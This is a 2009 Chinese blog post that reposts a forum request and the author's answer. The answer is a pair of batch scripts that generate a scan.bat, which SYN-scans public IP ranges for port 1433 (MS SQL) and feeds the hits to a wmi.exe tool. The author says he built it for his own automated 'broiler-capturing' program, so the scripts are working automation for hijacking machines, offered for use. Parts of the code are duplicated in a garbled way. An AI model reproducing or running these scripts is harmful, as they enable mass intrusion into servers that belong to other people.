全自动扫描IP的批处理写法
作者:蛛蛛虎 日期:2009-11-09
引用内容引用第0楼、小糖o于2009-11-09 08:32发表的“如何写这样的bat?”:
RT.
我想写一个bat批处理, 能够将ip.txt里面的若干ip段. 划分并重生成一个以下这样格式的另一个bat批处理..
@echo off
cls&s syn 202.96.128.0 202.96.191.255 1433 /save
for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
del Result.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
del s1.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>ips.txt
del s2.txt
wmi.exe
del ips.txt
cls&s syn 202.103.128.0 202.103.191.255 1433 /save
for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
del Result.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
del s1.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>ips.txt
del s2.txt
wmi.exe
del ips.txt
……
RT.
我想写一个bat批处理, 能够将ip.txt里面的若干ip段. 划分并重生成一个以下这样格式的另一个bat批处理..
@echo off
cls&s syn 202.96.128.0 202.96.191.255 1433 /save
for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
del Result.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
del s1.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>ips.txt
del s2.txt
wmi.exe
del ips.txt
cls&s syn 202.103.128.0 202.103.191.255 1433 /save
for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
del Result.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
del s1.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>ips.txt
del s2.txt
wmi.exe
del ips.txt
……
http://bbs.77169.cc/read-htm-tid-278625-keyword-.html
正好前段时间自己写2967全自动抓鸡程序时写过,就帮他贴上去了。
新建两个文件,
一、77169.bat 内容:
复制内容到剪贴板
程序代码
程序代码echo @echo off >1.spiger
For /F "eol=; tokens=1,2 delims= " %%i in (IP.TXT) do @echo cls^&s syn %%i %%j 1433 /save >%%i.bat© %%i.bat+spiger.cn %%j.spiger&del %%i.bat
copy *.spiger scan.bat&del *.spiger
For /F "eol=; tokens=1,2 delims= " %%i in (IP.TXT) do @echo cls^&s syn %%i %%j 1433 /save >%%i.bat© %%i.bat+spiger.cn %%j.spiger&del %%i.bat
copy *.spiger scan.bat&del *.spiger
二、spiger.cn 内容:
复制内容到剪贴板
程序代码
程序代码for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
del Result.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
del s1.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>ips.txt
del s2.txt
wmi.exe
del ips.txt
del Result.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
del s1.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>ips.txt
del s2.txt
wmi.exe
del ips.txt
运行77169.bat就生会成一scan.bat,内容就是楼主所要的。
评论: 0 | 引用: 0 | 查看次数: -
发表评论


上一篇:
下一篇:
文章来自:
Tags:
相关日志: